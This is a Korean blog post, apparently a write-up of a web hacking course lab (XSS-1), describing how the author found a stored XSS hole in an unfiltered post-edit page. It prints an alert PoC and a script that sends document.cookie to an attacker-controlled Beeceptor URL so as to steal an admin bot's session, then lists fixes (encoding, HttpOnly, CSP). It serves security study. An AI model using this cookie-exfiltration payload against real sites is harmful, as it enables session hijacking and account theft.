해킹스터디

[Normaltic 웹해킹 입문] 9주차 문제풀이 XSS-1

herini0829 2025. 12. 30. 14:46

🕵️ XSS-1 문제 풀이: 필터링을 피해 Reflection Point 찾기

본격적으로 XSS-1 문제 풀이에 들어가 보겠다. XSS 공격의 핵심은 브라우저의 응답(Response) 쪽에 내 입력값이 그대로 남아있는 '파라미터'를 찾는 것에서 시작된다.


1. 어디가 뚫릴까? 파라미터 탐색

우선 Burp Suite를 켜고 파라미터로 전달되는 값 중 Response 쪽에 반영되는 것들을 찾아봤다. 페이지에서 직접 수정 못 하는 값도 있을 수 있으니 Repeater로 보내서 테스트하는 게 국룰이다.

  • 로그인/마이페이지: 적절하게 반영(Reflect)되는 파라미터가 없어서 패스.
  • 공지사항 게시판: 검색창(search) 부분을 유심히 봤다.

하지만 쿠키를 제외하면 딱히 반영되는 곳이 없었다. "그러면 마지막 희망은 글쓰기다!"라는 생각으로 글쓰기 기능을 테스트해 봤다.


2. 글쓰기 필터링 확인 (HTML Entity의 벽)

게시글 작성 시 꺽쇠(< >)나 따옴표(' ") 사용이 가능한지 확인하기 위해 직접 입력해 봤다.

확인 결과, <&lt;로, >&gt;HTML Entity 치환이 되어 있었다. 이러면 스크립트 실행이 안 된다. 실제 게시판 내용을 봐도 \&lt; 등으로 철저히 막혀 있었다.

"이러면 다 본 것 같은데... 여기서 끝이 아니다!"
아직 안 써본 기능이 하나 남았다. 바로 '게시글 수정' 기능이다.


3. 유레카! 수정 페이지의 허점 발견

"잡았다." 드디어 <, ', ", >가 필터링 없이 그대로 출력되는 곳을 발견했다. 작성할 때는 막아놓고 수정 페이지에서는 방심한 모양이다. 이게 바로 제대로 된 XSS 후보다.

PoC (Proof of Concept)

먼저 가볍게 <script>alert(1)</script>를 띄워봤다.


4. 실전: 쿠키 탈취 공격 (Beeceptor 활용)

성공했으니 이제 실제 공격을 해보자. 목표는 document.cookie를 통해 관리자의 세션 쿠키를 탈취하는 것이다. 데이터를 받아줄 가상의 공격자 서버는 Beeceptor를 사용했다.

공격 코드 작성

단순히 값을 보내는 것보다 자연스럽게 데이터를 빼오기 위해 Image 객체를 활용했다.

<script>
  var i = new Image();
  i.src = "https://[내-Beeceptor-주소]/?c=" + document.cookie;
</script>

이렇게 하면 브라우저가 이미지 소스를 불러오려고 시도하면서 뒤에 붙은 쿠키 값을 내 서버 로그에 남기게 된다.

 

우리는 관리자 쿠키가 필요한 것이므로

게임에서 제시된 관리자 봇에게 해당 링크로 접속하게 하면 된다.

짜잔~ 쿠키획득!


💡 보안 분석 및 소감

이번 문제는 "개발자의 실수"가 어디에서 일어나는지 잘 보여준다. 글을 작성할 때는 보안 처리를 꼼꼼히 했지만, 수정(Update) 시에는 이를 누락하면서 공백이 생긴 것이다.

✅ 해결책 정리
1. 일관된 필터링: 모든 입/출력 포인트(작성, 수정, 상세 등)에서 HTML Encoding을 적용해야 한다.
2. HttpOnly 속성: 세션 쿠키에 HttpOnly를 설정했다면 document.cookie 접근 자체가 막혔을 것이다.
3. CSP 설정: 화이트리스트 기반의 도메인 제한을 걸어 Beeceptor 같은 외부 서버로 데이터가 나가는 것을 차단해야 한다.

해킹은 역시 힌트가 없는 블랙박스 상태에서 가능성을 하나하나 찔러보는 끈기가 제일 중요하다는 걸 다시 느꼈다! 😎